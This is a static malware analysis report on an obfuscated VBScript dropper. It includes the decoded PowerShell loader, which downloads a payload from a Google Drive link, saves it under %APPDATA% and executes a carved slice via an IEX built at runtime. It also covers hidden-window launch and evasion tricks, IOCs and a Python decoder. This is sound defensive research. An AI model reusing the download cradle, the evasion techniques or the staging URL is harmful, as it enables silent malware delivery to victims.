Source
- Malware Bazaar: https://bazaar.abuse.ch/sample/3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e/
- File type: VBS
- Size: ~270 KB
Analysis
Obfuscation
There were various forms of obfuscation used in the VBScript.
REMremark statements
Rem Maltekstrakt! mystificexr138! agapemonist158 leopoldinia: byggeklodsen?
Rem Cytologis: oxyuricide woald drmmeanalyserne
Rem Korari! puredee microchip, vinkede,
...
- String fragmentation:
Alexei = "c:\windows\"
Set Fibrillationens = Domsmandsret.OpenTextFile(Alexei & "notepad.exe", 1)
- Constant string manipulation with VBS functions:
Svarskrivelserdissershew = Trim("Uopskaarne199")
emissionsbegrnsning = Replace("Ludovico","Stregkodeprogram","windburning")
- String manipulation with
Instr+MidVBS functions’ combination:
Pashka = Detachrers.ReadAll
Stbloklandenes = instr(1,Pashka,"s")
kama = mid(Pashka,Stbloklandenes,1)
Stbloklandenes = instr(1,Pashka,"l")
Reserveres = mid(Pashka,Stbloklandenes,1)
Deobfuscation
> python vbs_strip_comments.py --input C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e.vbs --output C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass1.vbs
{"changed":5531,"comment_lines_removed":5531,"input_bytes":270899,"output_bytes":8657,"output_path":"C:\\Users\\Ashura\\Desktop\\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass1.vbs"}
> python vbs_propagate_constants.py --input C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass1.vbs --output C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass2.vbs
{"changed":34,"substituted_reads":34,"input_bytes":8657,"output_bytes":76352,"output_path":"C:\\Users\\Ashura\\Desktop\\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass2.vbs"}
> python .\vbs_fold_builtin_calls.py --input C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass2.vbs --output C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass3.vbs
{"changed":8,"input_bytes":76352,"output_bytes":76257,"output_path":"C:\\Users\\Ashura\\Desktop\\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass3.vbs"}
> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass3.vbs --output C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass4.vbs
{"changed":42,"input_bytes":76257,"output_bytes":7404,"output_path":"C:\\Users\\Ashura\\Desktop\\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass4.vbs"}
> python .\vbs_fold_concat.py --input C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass4.vbs --output C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass5.vbs
{"changed":3,"input_bytes":7404,"output_bytes":7388,"output_path":"C:\\Users\\Ashura\\Desktop\\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass5.vbs"}
> python .\vbs_fold_instr_mid.py --input C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass5.vbs --output C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass6.vbs
{"changed":2,"folded":2,"input_bytes":7388,"output_bytes":7338,"output_path":"C:\\Users\\Ashura\\Desktop\\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass6.vbs"}
> python vbs_propagate_constants.py --input C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass6.vbs --output C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass7.vbs
{"changed":7,"substituted_reads":7,"input_bytes":7338,"output_bytes":7316,"output_path":"C:\\Users\\Ashura\\Desktop\\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass7.vbs"}
> python .\vbs_fold_concat.py --input C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass7.vbs --output C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass8.vbs
{"changed":2,"input_bytes":7316,"output_bytes":7284,"output_path":"C:\\Users\\Ashura\\Desktop\\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass8.vbs"}
> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass8.vbs --output C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass9.vbs
{"changed":7,"input_bytes":7284,"output_bytes":7119,"output_path":"C:\\Users\\Ashura\\Desktop\\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass9.vbs"}
Functionality
Prompt
/malware-analysis Analyze @C:\Users\Ashura\Desktop\3fefc18c14c88fa1eacf10d9628f91634026620239e944ffb433b3e65626996e_pass9.vbs. Write report in markdown format into @report.md It should contain the below sections:
1. Executive summary
2. Details - avoid variable names granularity. retain behavioral specifics like created folder names, C2 contact, etc.
3. IOCs
Reference the source code when stating functionality. Like:
```<source_code>```
<functionality>
Use multiple Haiku sub-agents to confirm your findings. Use web search to ground your facts and assumptions.
Flowchart Prompt
Based on @report.md, can a Mermaid flowchart be written into FLOW.mmd? Keep the flowchart in natural language. Avoid variable name granularity. You can retain created folder names and contacted C2
Flowchart
flowchart TD
A["VBScript starts"] --> B["Anti-analysis stall:<br/>opens notepad.exe and spins<br/>in an empty loop, doing nothing"]
B -.-> C["Decoy check:<br/>looks for msiexec.exe,<br/>result never used"]
C --> D["Decode the embedded obfuscated text<br/>into a plain PowerShell script"]
D --> E["Launch PowerShell with a<br/>hidden window (no console shown)"]
E --> F["PowerShell self-decodes its own logic<br/>at runtime so almost nothing is<br/>readable as plain text"]
F --> G["Send an HTTP GET request to a<br/>Google Drive download link,<br/>spoofing a browser User-Agent"]
G --> H{"Did the server<br/>respond with success?"}
H -- No, wait ~4 seconds and retry --> G
H -- Yes --> I["Save the downloaded data to<br/>%APPDATA%\\Nationalkonomierne18.Aff"]
I --> J["Read the saved file back,<br/>decode it from Base64,<br/>and convert it to text"]
J --> K["Cut out one specific ~19 KB chunk<br/>from a fixed position inside that text"]
K --> L["Run that extracted chunk in memory<br/>as the next stage of the payload"]
L -.-> M["Final payload capability unknown:<br/>not retrieved or executed<br/>during this static analysis"]
classDef decoy stroke-dasharray: 5 5,fill:#f5f5f5,stroke:#999,color:#666
classDef unknown stroke-dasharray: 5 5,fill:#fff3f3,stroke:#c0392b,color:#c0392b
classDef contact fill:#eaf2ff,stroke:#2c6fd1,color:#1a1a1a
classDef artifact fill:#fff8e1,stroke:#c9970c,color:#1a1a1a
class B,C decoy
class M unknown
class G,H contact
class I artifact
Report
Executive Summary
This file is a VBScript dropper whose entire purpose is to launch a heavily obfuscated PowerShell script in a hidden window. The VBScript itself performs no meaningful malicious action beyond decoding and launching that PowerShell — it also contains several inert, non-functional blocks (an infinite/no-op stall loop and an unused environment check) that appear designed to waste analyst/sandbox time or pad the file to look busier than it is.
Once decoded, the PowerShell stage is a self-decrypting, multi-stage loader:
- It reconstructs its real logic and configuration at runtime from dozens of small Base64+XOR-encoded fragments, so almost nothing meaningful is visible as plain text in the script — including the very word “IEX” (
Invoke-Expression), which is itself assembled from an encoded byte array rather than ever appearing literally. - It repeatedly downloads a file from a Google Drive direct-download link using the legitimate Windows
Msxml2.ServerXMLHTTP.6.0COM object, retrying every 4 seconds until it succeeds, and saves it to%APPDATA%\Nationalkonomierne18.Aff. - It then Base64-decodes that downloaded file, converts it to text, and carves out a specific ~19 KB slice from a fixed byte offset inside the decoded text — and executes that slice in memory as the next-stage PowerShell payload.
Because the final payload lives on a remote, attacker-controlled Google Drive file rather than inside this sample, the ultimate capability of this loader (e.g., RAT, stealer, ransomware) cannot be determined from this file alone. This report documents everything recoverable through static analysis; retrieving and safely detonating the linked Drive object in an isolated sandbox is the logical next step and was intentionally not performed here.
Key behavioral facts:
- Executes
powershell.exewith a hidden window (no console shown) viaShell.Application.ShellExecute. - Uses legitimate Windows components only (
Scripting.FileSystemObject,Shell.Application,Msxml2.ServerXMLHTTP.6.0, PowerShell) — a “living-off-the-land” style chain that avoids dropping any custom executable. - Drops a single file:
%APPDATA%\Nationalkonomierne18.Aff. - Contacts a single hardcoded URL: a Google Drive
uc?export=downloadlink — a technique documented in real campaigns (e.g., the “9002” Trojan and multiple commodity RAT droppers) specifically because it blends malicious traffic in with trusted cloud-storage traffic. Attack Delivers ‘9002’ Trojan Through Google Drive, G-Drive is tapped by a Multistage Malware Downloader - No persistence mechanism (registry Run key, scheduled task, startup folder entry, etc.) is present anywhere in this sample — its only job is to fetch and run the next stage in memory.
Details
Anti-analysis stall and decoy checks
Set Domsmandsret = CreateObject("Scripting.FileSystemObject")
Alexei = "c:\windows\"
Set Fibrillationens = Domsmandsret.OpenTextFile("c:\windows\notepad.exe", 1)
Do While Fibrillationens.AtEndOfStream <> True
Loop
If Domsmandsret.FileExists(Alexei & "SYSTEM32\msiexec.exe") Then
Set Detachrers = Domsmandsret.OpenTextFile("c:\windows\notepad.exe", 1)
End If
The script opens the legitimate system binary notepad.exe as a text stream purely to spin on AtEndOfStream in an empty loop body — it never calls .ReadLine, so the loop condition never legitimately changes. This is filler/stall code, not a functional read of the file; it’s consistent with cheap anti-sandbox padding meant to burn CPU time or confuse simplistic behavioral monitors. The follow-up check for SYSTEM32\msiexec.exe opens notepad.exe a second time but never uses the result — this branch has no observable effect and is best read as decoy/junk code, possibly a leftover from a code generator/obfuscation toolkit rather than deliberate anti-VM logic.
An unused WScript.Shell object is also created and never referenced again, reinforcing that this sample was produced by an automated obfuscator/builder that pads scripts with inert objects.
Obfuscated PowerShell payload decode and hidden launch
Set Attargul = CreateObject("Shell.Application")
Polleten = adduction("funHumoledtilongarn zllongarrp { ... }", "axis","s")
Polleten = adduction(Polleten,"longar","o")
Polleten = adduction(Polleten,"hoimulz","$")
Polleten = adduction(Polleten,"Humoled","c")
Filtrlhr = Polleten
Call Attargul.ShellExecute("powershell","""" & Filtrlhr & """" ,Prionodesmaceous,Cephalhydrocele,0)
Function adduction (Arbejdsforskrift,Intoner,Tilfredsstille)
Set oRE = New RegExp
oRE.Global = True
execute "oRE.Pattern = Intoner"
Flerbrugerdrifternes=Arbejdsforskrift
execute "adduction = oRE.Replace(Flerbrugerdrifternes, Tilfredsstille)"
end function
The ~5,700-character obfuscated blob is passed through the same substitution function four times, each call performing one global literal-string replacement: "axis"→"s", "longar"→"o", "hoimulz"→"$", "Humoled"→"c". Two things are notable:
- The replacement helper
adductionsets the RegExp.Patternproperty and calls.Replacethrough VBScriptExecutestatements rather than directly (oRE.Pattern = Intoneras plain code). This is a simple evasion trick to keep the literal identifiersPattern/Replaceout of the “obviously executable” code path that naive static/AV string scanners key on. - The two arguments to
ShellExecutefor working directory and window-verb (Prionodesmaceous,Cephalhydrocele) are never declared or assigned anywhere in the script, so VBScript treats them asEmpty. The final argument,0, is theShellExecute“show window” parameter — a value of0runs the target with a hidden window, so PowerShell executes with no visible console. This hidden-window launch pattern viaShell.Application.ShellExecuteis a well-documented technique for silent script/process execution. ShellExecute method - VBScript command, Dynamic Analysis of JScript/VBScript Malware
Reproducing this decode step is trivial and is included in full in the Appendix.
PowerShell stage: self-decoding primitives
Once decoded, the PowerShell contains three functionally important helpers buried among several no-op decoy functions (zlorp, snarf, wibble — each just calls Get-Date/Get-Process and discards the result via [void], contributing nothing but harmless API-call noise likely meant to dilute behavioral signatures).
A subtractive-cipher decoder, used to reconstruct short but security-relevant keywords without ever writing them as literal text:
function sslangen ($libyeres) {
do {
$libyeres[$sensuelles] -= $malapaho133[$sensuelles % 11]
$heroiseredes = $libyeres[$sensuelles]
$heroiseredes = [char]$heroiseredes
$uddifferentieringernes219 += $heroiseredes
$sensuelles++
} while ($libyeres[$sensuelles])
$uddifferentieringernes219
}
$malapaho133 = @(68,97,110,110,101,107,118,105,110,100,101)
$outeye206 = sslangen @(141,166,198)
$malapaho133 is the ASCII byte sequence for the literal string “Dannekvinde” (Danish for “goose-woman”/a play on “Dannevirke”-style compound words — the string itself has no significance beyond serving as an 11-byte repeating key). Feeding the 3-element array @(141,166,198) through this subtractive cipher against that key recovers the string "IEX" — i.e. the script builds the literal token for Invoke-Expression at runtime purely so that the string IEX/Invoke-Expression never appears anywhere in the file as plain text.
That reconstructed token is then invoked via the call operator:
function Grunts ($pitylus173) {
[void](get-service | select -first 1)
.($outeye206) $pitylus173
}
.($outeye206) $pitylus173 is equivalent to & "IEX" $pitylus173, i.e. it runs $pitylus173 as PowerShell code via Invoke-Expression. Every “execute this decoded fragment now” action in the script funnels through this function.
A Base64+XOR decoder/executor, the core primitive used throughout the script for both configuration values and executable code fragments:
Function Overflyttere ($libyeres,$ghat=0){
[void](Get-Process | select -first 1)
$ledelsesstil = sslangen(@(159,164,221,...)) # decodes to: [Convert]::FromBase64String($libyeres)
$towpath = @(Grunts ($ledelsesstil))
For($coriariaceae=0; $towpath[$coriariaceae] -ne $albeston; $coriariaceae++){
$towpath[$coriariaceae] = nimrods69 $towpath[$coriariaceae] $malapaho133[$coriariaceae % 11]
}
$filthatten = sslangen(@(113,203,221,...)) # decodes to: -join [char[]]$towpath
$ngstelighedens119 = Grunts ($filthatten)
if ($ghat) { Grunts $ngstelighedens119 } else { $ngstelighedens119 }
}
nimrods69’s real body — itself only visible by decoding its own embedded byte array — turns out to be a bitwise XOR ($a -bxor $b), not the subtraction used by sslangen. So Overflyttere does, for any Base64 string it’s given: Base64-decode → XOR every byte with the repeating “Dannekvinde” key → join back to a string → either return it, or (if called with a second argument of 1) immediately execute it via Grunts/IEX. This single function is called roughly 30 times through the script, each time with a different short Base64 blob — splitting the “real” program logic into dozens of pieces that are individually meaningless and only assemble into working code at runtime, which defeats static string-matching detection almost entirely. The full algorithm was independently re-derived and validated against every encoded string in the file (see Appendix).
Recovered configuration and download behavior
Decoding the Overflyttere-wrapped strings recovers the script’s actual configuration and control flow:
$global:fordragelige = $env:appdata + '\Nationalkonomierne18.Aff'
$global:nontheistic = $tiltalerejsninger.split('>') # $tiltalerejsninger = "https://drive.google.com/uc?export=download&id=1Z-GybxVaMa_6-4WZ2J14pCLvw7ZtuhHv"
$global:protostega = New-Object -Com Msxml2.ServerXMLHTTP.6.0
$global:kvartserne225 = (Test-Path $fordragelige)
while (!$kvartserne225) {
$protostega.open('GET', $tiltalerejsninger, $false)
$protostega.setRequestHeader('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0')
$protostega.send()
$global:upopulreres = $protostega.status -eq 200
if ($upopulreres) {
[byte[]]$global:seisor = $protostega.responseBody
sc $fordragelige $seisor -Encoding Byte
}
Sleep(4)
...
}
This decodes to a download-and-retry loop: it repeatedly issues a synchronous GET to the Google Drive URL above using the built-in Windows Msxml2.ServerXMLHTTP.6.0 COM automation object — the same object documented in numerous PowerShell “download cradle” techniques — spoofing the User-Agent header as a desktop Firefox browser, and retries every 4 seconds until it receives an HTTP 200 response, at which point it writes the raw response bytes to %APPDATA%\Nationalkonomierne18.Aff. PowerShell Download Cradles, Powershell MsXml COM Object detection rule
Note: the spoofed User-Agent string claims Firefox 152.0, a version number that does not exist in any released Firefox build as of this writing — almost certainly a builder/template artifact rather than a deliberate attempt at a “real” UA, but it is a distinctive, low-noise detection signature.
Final-stage payload extraction and execution
$global:undercarry = gc $fordragelige # Get-Content -> read the downloaded file as text
$global:Gipsyhead = [Convert]::FromBase64String($undercarry) # the downloaded file's content is itself Base64 text
$global:pengeglades119 = [Text.Encoding]::ASCII.GetString($Gipsyhead) # decode those bytes to an ASCII string
$global:punctule = $pengeglades119.substring(137164, 19100) # slice a ~19 KB region from a fixed offset
Grunts $punctule # execute that slice via IEX
The downloaded Nationalkonomierne18.Aff file is not used directly — its content is itself Base64 text that decodes to a much larger ASCII blob, out of which the script extracts a fixed ~19,100-character window starting at byte offset 137,164, and executes only that window as the next PowerShell stage. This offset-carving approach (payload buried at a specific, non-obvious location inside a much larger container) is a common technique to hide the “real” payload from anyone who casually inspects the downloaded file, and to make the file’s true nature harder to fingerprint by AV engines that hash or scan the container as a whole.
This is the boundary of static analysis for this sample. The content at that offset is retrieved live from Google Drive and was not fetched or executed as part of this engagement, so the ultimate payload family/capability (RAT, stealer, loader-for-loader, etc.) is unknown. Recommended next step: retrieve the linked Drive object in an isolated, network-monitored sandbox and repeat this analysis on the extracted final stage.
IOCs
- Host-based:
| Type | Value | Notes |
|---|---|---|
| Dropped file | %APPDATA%\Nationalkonomierne18[.]Aff |
Written after successful download; contains Base64 text |
| Static string constant | Dannekvinde (ASCII bytes 68,97,110,110,101,107,118,105,110,100,101) |
11-byte repeating XOR/subtractive key used throughout the script’s decode routines |
- Network:
| Type | Value | Notes |
|—|—|—|
| C2 / staging URL |
hxxps://drive[.]google[.]com/uc?export=download&id=1Z-GybxVaMa_6-4WZ2J14pCLvw7ZtuhHv| Google Drive direct-download link abused as payload host | | HTTP method / object |GETviaMsxml2.ServerXMLHTTP.6[.]0COM object | | | Spoofed User-Agent |Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0| |
Python reproduction of all decoding steps
The following script reproduces every decoding step documented in this report using only arithmetic and string operations — no code from any layer of the sample is ever executed, only decoded for inspection.
import base64
# --- Stage 0: VBScript-level literal substitution decode ---
# adduction() is called 4 times, each performing one global literal replace,
# applied in this exact order to the raw obfuscated string from the .vbs file.
def vbs_decode(obfuscated: str) -> str:
s = obfuscated
s = s.replace("axis", "s")
s = s.replace("longar", "o")
s = s.replace("hoimulz", "$")
s = s.replace("Humoled", "c")
return s
# --- Stage 1: the "sslangen" subtractive-cipher decoder ---
# key = ASCII bytes of the literal string "Dannekvinde"
KEY = [68, 97, 110, 110, 101, 107, 118, 105, 110, 100, 101]
def sslangen(arr):
"""Recovers short PowerShell keyword fragments embedded as int arrays."""
out = []
i = 0
while True:
val = arr[i] - KEY[i % 11]
out.append(chr(val % 256))
i += 1
if i >= len(arr) or not arr[i]:
break
return "".join(out)
# --- Stage 2: the "Overflyttere" Base64 + XOR decoder ---
def overflyttere(b64str: str) -> str:
"""
Recovers the loader's configuration strings and executable code
fragments. Equivalent to the PowerShell function `Overflyttere`:
1. Base64-decode the input
2. XOR every byte with the repeating 11-byte "Dannekvinde" key
3. Return the resulting text (the malware optionally IEX's it —
we only decode here, never execute)
"""
raw = base64.b64decode(b64str)
out = bytes(b ^ KEY[i % 11] for i, b in enumerate(raw))
try:
return out.decode("utf-8")
except UnicodeDecodeError:
return out.decode("latin-1")
if __name__ == "__main__":
# Example: recovering the dynamic "IEX" token from its embedded byte array
print(sslangen([141, 166, 198]))
# -> 'IEX'
# Example: recovering the C2/staging URL
print(overflyttere(
"LBUaHhZRWUYKFgwyBEAJCgQRBQtKBisMQRsGVBMRHgsXMFwKARIFGgYPAEMtBVNfP0Yx"
"EAwcMyUsDzFTRkI+NFYvdVUeLSkdAV40EBAsKRg="
))
# -> 'https://drive.google.com/uc?export=download&id=1Z-GybxVaMa_6-4WZ2J14pCLvw7ZtuhHv'
# Example: recovering the dropped-file path fragment
print(sslangen([159,164,221,220,219,208,232,221,203,158,159,138,211,221,219,
167,204,233,206,164,152,184,184,211,215,220,204,147,154,213,
215,198,222,169,211,211,225,142]))
# -> '[Convert]::FromBase64String($libyeres)'
Running this against the full set of encoded strings in the sample reproduces every quoted plaintext value in Section 2 and the IOC table.